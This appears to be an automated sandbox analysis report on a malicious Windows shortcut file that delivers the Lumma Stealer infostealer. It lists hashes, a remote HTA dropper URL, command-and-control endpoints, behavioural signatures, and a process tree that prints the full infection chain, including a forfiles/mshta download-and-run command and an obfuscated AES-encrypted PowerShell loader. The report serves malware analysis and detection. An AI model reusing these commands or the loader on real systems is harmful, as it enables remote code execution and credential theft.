Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-02-2024 05:21

General

  • Target

    707e623b27d794685b3b0a24d1dafe035274f62535fa67934eb1a4d39d3d9b50.lnk

  • Size

    1KB

  • MD5

    c7945d1c593363055616d6e427b8e2a2

  • SHA1

    2c5f9b6fc746efb5caad3b31755c801f9ad1ac7b

  • SHA256

    707e623b27d794685b3b0a24d1dafe035274f62535fa67934eb1a4d39d3d9b50

  • SHA512

    7fb10ad46450b7ceeebdf3e9144447c59c22c67a6c7d026a1dbebcb665ee6bf1588958c5388e0358f18ecf71539dfd67050bb7ffeb516d2904d5cd77a1786d19

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://dl.dropboxusercontent.com/scl/fi/aur0asu195akuhc7q88lq/mlwr?rlkey=ltpi9kve7882q0vksvvb54han

Extracted

Family

lumma

C2

https://executivebrakeji.shop/api

https://technologyenterdo.shop/api

https://detectordiscusser.shop/api

https://turkeyunlikelyofw.shop/api

https://associationokeo.shop/api

Signatures

  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

  • UAC bypass 3 TTPs 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\707e623b27d794685b3b0a24d1dafe035274f62535fa67934eb1a4d39d3d9b50.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2340
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta https://dl.dropboxusercontent.com/scl/fi/aur0asu195akuhc7q88lq/mlwr?rlkey=ltpi9kve7882q0vksvvb54han
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        start mshta https://dl.dropboxusercontent.com/scl/fi/aur0asu195akuhc7q88lq/mlwr?rlkey=ltpi9kve7882q0vksvvb54han
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2844
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" https://dl.dropboxusercontent.com/scl/fi/aur0asu195akuhc7q88lq/mlwr?rlkey=ltpi9kve7882q0vksvvb54han
          4⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2300
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $xRnrtl = 'AAAAAAAAAAAAAAAAAAAAAD0Af5kmiW2Hnx1ert6ZiHkcrCG5xRw5g+RXkvjSvgaUbk+srbVrOsQgn8toO+hu0Qw1KQj7FAk5xMoqfeLJjMEeamlWrF3FTQ6in6FDMU0esWs41x91rJ/vkrJQOkHUMM2MmLD03n+lBrw2YeIcINOqvu4GIVPjd+Fis/QpUW5Fj8iNCDQy7bTeb/cl1K0KC1ocqAlvj83iKlmuvdzxPum6cIQxLt+2YLh6fmAQocUETi+pQw294/BrcWHiPbCLQ3IVN1QFO/QcDcgmCGGhLZSmlSKvXWS4pkFTnsaeCv0q8qpFQPIbBpzGkWGBKxMJYhQh81lXHyPxeOeFyFq6jqW2vUm+uqMCwX1N5g5UHXYw3Qg4zpyOCq0I5EwoDqzACg0FQ7NLbZAuwhTLK+Yu1JUpq7a86i+FRnVjkA9yOJMjUROJtiOoDNfMdo0ej8BzSKoid4bytekfnZGfb1xfEAyrNCki102wWcJK/vZZFJJQ0EWOmR4qPclxZ3kj3QXa7iwBBn/xEMGg8xE8RDWaHfXHZqdxlpnoKmQX6CchYBPK5Q/alHBAM5gOIN5RcmnQecgz+itBcGKRKac4QUIuYCsTNOGFGvc0/93UPNG9W8OrCD+b24Y2bZP/KolyWolNdjJRHwp4RJAA9iJshbpdMe4n95z2TmNVPEVN28sDZ0kfiJCKpkbu1TkpQNSnY46SLTiZTT3ajO8Sox/hCnztghhj4DMhfQfHJBcMyZ1yynlBM+7lNgUyvioQxQ2KPY7KDi7JTpk1iQYGc+oBvO/fWUMtz9kzyEyxJpOGkwI3MMjDpUYIc9iprfEHj8hpwVdPjhcenIyhZqn28939MlitHffq24shDMzCPgjnU9OWPsMhEKvfu34pU/yjbMkwLHEjcQ==';$PWFaA = 'd0hDTktlemN0SlFHRXFla0Rjb094cnRoUGlSR050VmI=';$rtbrSxS = New-Object 'System.Security.Cryptography.AesManaged';$rtbrSxS.Mode = [System.Security.Cryptography.CipherMode]::ECB;$rtbrSxS.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$rtbrSxS.BlockSize = 128;$rtbrSxS.KeySize = 256;$rtbrSxS.Key = [System.Convert]::FromBase64String($PWFaA);$jIXAy = [System.Convert]::FromBase64String($xRnrtl);$rSpXWojt = $jIXAy[0..15];$rtbrSxS.IV = $rSpXWojt;$mXooDLjjw = $rtbrSxS.CreateDecryptor();$KHnzkbgXQ = $mXooDLjjw.TransformFinalBlock($jIXAy, 16, $jIXAy.Length - 16);$rtbrSxS.Dispose();$iIauy = New-Object System.IO.MemoryStream( , $KHnzkbgXQ );$Izyrh = New-Object System.IO.MemoryStream;$thcRRYmqg = New-Object System.IO.Compression.GzipStream $iIauy, ([IO.Compression.CompressionMode]::Decompress);$thcRRYmqg.CopyTo( $Izyrh );$thcRRYmqg.Close();$iIauy.Close();[byte[]] $QWoIKfh = $Izyrh.ToArray();$KKSHrJAF = [System.Text.Encoding]::UTF8.GetString($QWoIKfh);$KKSHrJAF | powershell -
            5⤵
            • Drops file in Windows directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4420
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
              6⤵
              • UAC bypass
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4440
              • C:\Users\Admin\AppData\Roaming\driver.exe
                "C:\Users\Admin\AppData\Roaming\driver.exe"
                7⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2228
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  8⤵
                    PID:4500
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    8⤵
                      PID:1624
      • C:\Windows\system32\OpenWith.exe
        C:\Windows\system32\OpenWith.exe -Embedding
        1⤵
        • Suspicious use of SetWindowsHookEx
        PID:3852
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
        1⤵
        • Drops desktop.ini file(s)
        • Checks processor information in registry
        • Modifies registry class
        PID:4864

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        feadc4e1a70c13480ef147aca0c47bc0

        SHA1

        d7a5084c93842a290b24dacec0cd3904c2266819

        SHA256

        5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac

        SHA512

        c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmkd1iyb.55p.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\driver.exe

        Filesize

        297KB

        MD5

        79ac171749690f2c947187e34d2b007d

        SHA1

        ebe8d99c87b7b6b51af10a1260271f7282c8f8d2

        SHA256

        cdb5f26a44a64a81c8e96db60ba2f4471f88b3980d14f91d3247a0afde34d441

        SHA512

        c93009d5e20a8ac008e409ad677674aeacc383f0716904825847330ad12ea7347d706754f9c8724e69c0261f2edcb36a41e40f851014e51021b1bccbf7a15f54

      • C:\Users\Admin\AppData\Roaming\driver.exe

        Filesize

        274KB

        MD5

        45ff32c8f82fd612116ebd1b20fa1c19

        SHA1

        de91cdfa4b34d5526b2d99ad2cdd9f6e465b205e

        SHA256

        864ed84452a92ae76f154f7abc10540674d5d4490c7c5202329c765ee80c3ae2

        SHA512

        e0fe7ec8bd84b32d352f9866339b8a589b8c95ec830d3b949162aa752e0f6cb74f9ec904493a727702b471226fdc156658319165443bc4faddabe837365f2992

      • C:\Users\Admin\Videos\Captures\desktop.ini

        Filesize

        190B

        MD5

        b0d27eaec71f1cd73b015f5ceeb15f9d

        SHA1

        62264f8b5c2f5034a1e4143df6e8c787165fbc2f

        SHA256

        86d9f822aeb989755fac82929e8db369b3f5f04117ef96fd76e3d5f920a501d2

        SHA512

        7b5c9783a0a14b600b156825639d24cbbc000f5066c48ce9fecc195255603fc55129aaaca336d7ce6ad4e941d5492b756562f2c7a1d151fcfc2dabac76f3946c

      • memory/1624-91-0x0000000000400000-0x0000000000449000-memory.dmp

        Filesize

        292KB

      • memory/1624-94-0x0000000000400000-0x0000000000449000-memory.dmp

        Filesize

        292KB

      • memory/1624-100-0x00000000012D0000-0x00000000012D1000-memory.dmp

        Filesize

        4KB

      • memory/1624-98-0x00000000012D0000-0x00000000012D1000-memory.dmp

        Filesize

        4KB

      • memory/1624-99-0x00000000012D0000-0x00000000012D1000-memory.dmp

        Filesize

        4KB

      • memory/1624-101-0x0000000000400000-0x0000000000449000-memory.dmp

        Filesize

        292KB

      • memory/2228-97-0x0000000003060000-0x0000000005060000-memory.dmp

        Filesize

        32.0MB

      • memory/2228-96-0x0000000074920000-0x00000000750D0000-memory.dmp

        Filesize

        7.7MB

      • memory/2228-102-0x0000000003060000-0x0000000005060000-memory.dmp

        Filesize

        32.0MB

      • memory/2228-73-0x0000000000B20000-0x0000000000B70000-memory.dmp

        Filesize

        320KB

      • memory/2228-74-0x0000000074920000-0x00000000750D0000-memory.dmp

        Filesize

        7.7MB

      • memory/2844-51-0x00007FFE157B0000-0x00007FFE16271000-memory.dmp

        Filesize

        10.8MB

      • memory/2844-2-0x0000010429A50000-0x0000010429A72000-memory.dmp

        Filesize

        136KB

      • memory/2844-11-0x00007FFE157B0000-0x00007FFE16271000-memory.dmp

        Filesize

        10.8MB

      • memory/4420-55-0x00000217FBF30000-0x00000217FBF40000-memory.dmp

        Filesize

        64KB

      • memory/4420-36-0x00000217FBF30000-0x00000217FBF40000-memory.dmp

        Filesize

        64KB

      • memory/4420-33-0x00007FFE157B0000-0x00007FFE16271000-memory.dmp

        Filesize

        10.8MB

      • memory/4420-72-0x00007FFE157B0000-0x00007FFE16271000-memory.dmp

        Filesize

        10.8MB

      • memory/4420-34-0x00000217FBF30000-0x00000217FBF40000-memory.dmp

        Filesize

        64KB

      • memory/4420-54-0x00000217FBF30000-0x00000217FBF40000-memory.dmp

        Filesize

        64KB

      • memory/4420-52-0x00007FFE157B0000-0x00007FFE16271000-memory.dmp

        Filesize

        10.8MB

      • memory/4420-35-0x00000217FBF30000-0x00000217FBF40000-memory.dmp

        Filesize

        64KB

      • memory/4440-50-0x0000025170640000-0x00000251706B6000-memory.dmp

        Filesize

        472KB

      • memory/4440-48-0x000002516FF50000-0x000002516FF60000-memory.dmp

        Filesize

        64KB

      • memory/4440-47-0x000002516FF50000-0x000002516FF60000-memory.dmp

        Filesize

        64KB

      • memory/4440-46-0x00007FFE157B0000-0x00007FFE16271000-memory.dmp

        Filesize

        10.8MB

      • memory/4440-49-0x0000025170570000-0x00000251705B4000-memory.dmp

        Filesize

        272KB

      • memory/4440-57-0x000002516FF50000-0x000002516FF60000-memory.dmp

        Filesize

        64KB

      • memory/4440-56-0x00007FFE157B0000-0x00007FFE16271000-memory.dmp

        Filesize

        10.8MB

      • memory/4440-69-0x00007FFE157B0000-0x00007FFE16271000-memory.dmp

        Filesize

        10.8MB